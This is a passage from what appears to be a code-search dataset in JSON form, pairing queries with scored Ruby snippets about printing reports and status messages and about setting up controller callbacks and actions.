#{acc.get_status()}\", 6)\n end\n dlg(\"#{name}: #{acc.get_status()}\", 6)\n \n # Build the appropriate output for the Account's balance\n cur_line = \"#{name}: #{acc.get_status()}\\n\"\n end\n \n # add this new line to the summary report\n summary_report += cur_line\n\n end\n dlg(\"\\n\\n\", 6)\n\n summary_report\n end", "title": "" }, { "docid": "69b11e1cdfd34de026a9ce744a44ee1c", "score": "0.607628", "text": "def show(someText)\n $stderr.puts(someText)\n end", "title": "" }, { "docid": "a7151d09d9ff8f80d73e89d5cb88dfd9", "score": "0.6071896", "text": "def report\n if !@on_board\n puts 'I am not on the board yet Dave'\n else\n puts \"I am at #{@x}:#{@y}, facing #{@facing}\"\n end\n end", "title": "" }, { "docid": "d7db31a37cb311e352c24025da934682", "score": "0.60656923", "text": "def show\n puts \"\\n******** reports_show ********\"\n @report = Report.all\n end", "title": "" }, { "docid": "8f15ebd90db15a91ca476704a20977ac", "score": "0.60532707", "text": "def report\n @rovers.join(\"\\n\") if @rovers\n end", "title": "" }, { "docid": "dce590a4458b213fc6433459c912effc", "score": "0.60440284", "text": "def report io = $stdout\n focus = option[:focus]\n type = option[:format] || :text\n\n send \"report_#{type}\", io, focus, missing_locations\n end", "title": "" }, { "docid": "9eeb7cde8395d6121db9a48e061fc9ae", "score": "0.6043004", "text": "def report\n if_placed do\n puts speak(location.to_s)\n end\n end", "title": "" }, { "docid": "fd3b94803545ae8985ea20f908c6c4d5", "score": "0.6041969", "text": "def display( msg )\n $stderr.print msg\n $stderr.flush\n end", "title": "" }, { "docid": "db5ddf274f26cbda46cfb7b51100d831", "score": "0.6036687", "text": "def report( msg, *args )\n form.report( name, format_error_message( msg, *args ) ) if form\n self\n end", "title": "" }, { "docid": "fccdf3180a5dd00f7d2c16e888e251db", "score": "0.6035446", "text": "def report\n @lock.synchronize {\n \"#@name\\nChecking: #@checking\\nSavings: #@savings\"\n }\n end", "title": "" }, { "docid": "fccdf3180a5dd00f7d2c16e888e251db", "score": "0.6035446", "text": "def report\n @lock.synchronize {\n \"#@name\\nChecking: #@checking\\nSavings: #@savings\"\n }\n end", "title": "" }, { "docid": "9f92080b642d05ce06009e25eb0aabb9", "score": "0.60254014", "text": "def report\n #overwrite me\n end", "title": "" }, { "docid": "e53a8a382356e7eda540be64f01c20a3", "score": "0.59985393", "text": "def renewal_report(options = {})\n\t\t\toptions[:verbose] = options.fetch(:verbose, true)\n\t\t\toptions[:strenght] = options.fetch(:strength, :strong)\n\t\t\t# renewals_funky? has to get called for @errors to be defined so put\n\t\t\t# this first- hack, hack\n\t\t\tif renewals_funky?(options[:strength]) or options[:verbose]\n\t\t\t\tputs \"Membership #{@index} : #{first_name}, #{last_name}\"\n\t\t\t\tif @errors.empty?\n\t\t\t\t\tputs \" Everything looks good here\"\n\t\t\t\telse\n\t\t\t\t\t@errors.each do |error|\n\t\t\t\t\t\tputs \" Error on: #{error.to_s}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t@renewal_data_set.report\n\t\t\t\tputs \"\"\n\t\t\tend\n\t\t\treturn nil\n\t\tend", "title": "" }, { "docid": "56e1dbd233cb245ce5ba45e07bdd5044", "score": "0.5987579", "text": "def report(options)\n report = Report.new(self, options)\n report.print\n end", "title": "" }, { "docid": "bbee3aaebc776c4de632d845515dd1d3", "score": "0.5982489", "text": "def show\n display @message\n end", "title": "" }, { "docid": "59ba73f2a18c0157bcdb2a625edd675a", "score": "0.5979596", "text": "def report\n Driver.report.each { |line| puts line }\n end", "title": "" }, { "docid": "1e0bb96dc06cb9589949f1ae221c6dcb", "score": "0.59684664", "text": "def full_report; end", "title": "" }, { "docid": "b03a0239ab3abc4a5bcee12d859657b9", "score": "0.59513897", "text": "def display(msg)\n\t\t\tself.print(@text = msg)\n\t\tend", "title": "" }, { "docid": "cacf3bedabe11337db723075c0990581", "score": "0.59455866", "text": "def report!( msg, *args )\n form.report!( name, format_error_message( msg, *args ) ) if form\n self\n end", "title": "" }, { "docid": "906de95053ce48be725141bc92d791ee", "score": "0.5944926", "text": "def show_message(kind, message)\n\tcase kind\n\twhen :fail\n\t\tputs \"#{message}\\r\\t\\t\\t\\t\\t\\t\\t\\t[fail]\".red\n\twhen :warn\n\t\tputs \"#{message}\\r\\t\\t\\t\\t\\t\\t\\t\\t[warn]\".yellow\n\twhen :good\n\t\tputs \"#{message}\\r\\t\\t\\t\\t\\t\\t\\t\\t[good]\".green\n\telse\n\t\tputs message\n\tend\nend", "title": "" }, { "docid": "364d8ef5427f6d7ec8a86d4ef11470ca", "score": "0.59397995", "text": "def report\n\t\treturn unless @on_table\n\t\t\"#{@x},#{@y} FACING: #{@f}\"\n\tend", "title": "" }, { "docid": "0fe13cdd06e6731538407b34db912cc3", "score": "0.5937983", "text": "def print_report\n\t\tputs name\n\t\tputs \"enstablished at year #{year}\"\n\t\tputs \"number of beers #{beers.count}\"\n\t\tputs \"number of ratings #{ratings.count}\"\n\tend", "title": "" }, { "docid": "4803b4d24549d4641284c8d3c755949b", "score": "0.59374833", "text": "def report\n if success?\n print \"\\e[#{32}m#{'.'}\\e[0m\"\n else\n buffer = ''\n\n @stderr.read_nonblock(MAX_BUFFER_OUTPUT, buffer, exception: false)\n\n puts\n puts \"\\e[#{31}m#{'[FAILED]'}\\e[0m #{name}\"\n puts \"Time taken: #{current_time - @started_at} seconds\"\n puts \"Exit code: #{exit_code}\"\n puts \"Exit status: #{exit_status}\"\n puts @stdout_head\n puts '...'\n puts @stdout_tail\n puts buffer\n puts\n end\n end", "title": "" }, { "docid": "f12e467bfd927a22a95b979354c0373f", "score": "0.59326315", "text": "def display\n @result.inject('') do |msg,result|\n if result.is_a? String\n next msg if options[:quiet] && result =~ /^Validation failed:/\n msg += result\n elsif result.is_a? Hash\n msg += message_for result\n end\n \"#{msg}\\n\\n\"\n end\n end", "title": "" }, { "docid": "bac9d098a80e0859bd550d9e9116e9e6", "score": "0.5930191", "text": "def debug_message(text,include_filename=nil)\n return if @monitor.nil?\n return unless @monitor.debug?\n text = prepend_info(text, include_filename)\n Syslog.info(text)\n $stderr.puts(text)\n end", "title": "" }, { "docid": "58d45465ac4bcbeb9f7567e9ae7a9292", "score": "0.5922301", "text": "def show\n logger.info \"################ SHOW RECIPE\"\n\n end", "title": "" }, { "docid": "b19d5ce87a9ef4fb5890c86357a037d2", "score": "0.5921491", "text": "def report_lister\n \"Number: #{@number}\\nFloor: #{@floor}\\nName: #{@name}\\nType: #{@type}\"\n # \"Report run on: \" + Time.now.to_s\n end", "title": "" }, { "docid": "805fd9e3833fad5ccfa046597169d85b", "score": "0.59150374", "text": "def report()\n print \"\\n\"\n $asserts.each do |err, str, iso, e|\n print(err);\n print_assertion_string(str, iso)\n if e\n print(\" => \")\n print(e.message)\n end\n print(\"\\n\")\n end\n\n $total_test = $ok_test.+($ko_test)\n print('Total: ')\n print($total_test)\n print(\"\\n\")\n\n print(' OK: ')\n print($ok_test)\n print(\"\\n\")\n print(' KO: ')\n print($ko_test)\n print(\"\\n\")\n print('Crash: ')\n print($kill_test)\n print(\"\\n\")\n\n if Object.const_defined?(:Time)\n print(' Time: ')\n print(Time.now - $test_start)\n print(\" seconds\\n\")\n end\nend", "title": "" }, { "docid": "7c93e57d96acdd991cae97d2510b0bb3", "score": "0.5912504", "text": "def show\n set_report\n # halt(404, { result: 'NotFound' }.to_json) if report.nil?\n # if @report.nil?\n # render json: @report.errors, status: :unprocessable_entity\n # else\n @report.to_json\n # end\n end", "title": "" }, { "docid": "484d34c287b51c1dad2f50fe3281c0ca", "score": "0.59096086", "text": "def full_report\n\n end", "title": "" }, { "docid": "4658645b18c1fa9fc0fcb0e30238e23d", "score": "0.5900939", "text": "def show\n @version = @report.version\n @product = @version.product\n @hostname = \"http://\"+request.host+\":\"+request.port.to_s || \"www.mydomain.com\"\n @title = @report.test_case.name+' - '+@report.build.name\n end", "title": "" }, { "docid": "fdef5e0cd241e363e1ab2bebeec0da50", "score": "0.589935", "text": "def print_messages\n end", "title": "" }, { "docid": "077f75bc7636bdc5011fab7fd6f3975e", "score": "0.5871194", "text": "def begin_report_app(app, report)\n shell.info \"Writing notices for #{app[\"name\"]} to #{app_notices_path(app)}\"\n end", "title": "" }, { "docid": "007c4b9002605d429ed8f25b2df348e9", "score": "0.5868051", "text": "def report\n Options[:format].gsub(/\\%s/, @smell).gsub(/\\%c/, @context.to_s).gsub(/\\%w/, @warning)\n end", "title": "" }, { "docid": "30fdc4ce9e6195a66446843f2f57877c", "score": "0.585931", "text": "def report()\n print \"\\n\"\n $asserts.each do |str, iso|\n print(\"Test Failed: #{str} [#{iso}]\\n\");\n end\n\n $total_test = $ok_test + $ko_test\n print 'Total tests:'\n print $total_test\n print \"\\n\"\n\n print ' OK: '\n print $ok_test\n print \"\\n\"\n print ' KO: '\n print $ko_test\n print \"\\n\"\nend", "title": "" }, { "docid": "2725f553f61e115de287336f328d790e", "score": "0.5858745", "text": "def report\n\t\tif @face\n\t\t\tstr = \"=> Output: #{@x}, #{@y}, #{@face.upcase}\"\n\t\telse\n\t\t\tstr = \"=> Robot not placed yet!\"\n\t\tend\n\t\tputs str\n\t\treturn str\n\tend", "title": "" }, { "docid": "e5791f0c15e898c0adf74d741485a241", "score": "0.58459", "text": "def report\n report_string = @name + \": \" + miles_driven.to_s + \" miles\"\n if miles_driven > 0\n report_string += \" @ \" + avg_speed.to_s + \" mph\"\n end\n return report_string\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "2ab99e5d2dd74c3864a4de2de9ff8830", "score": "0.0", "text": "def set_fighting\n @fighting = Fighting.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", 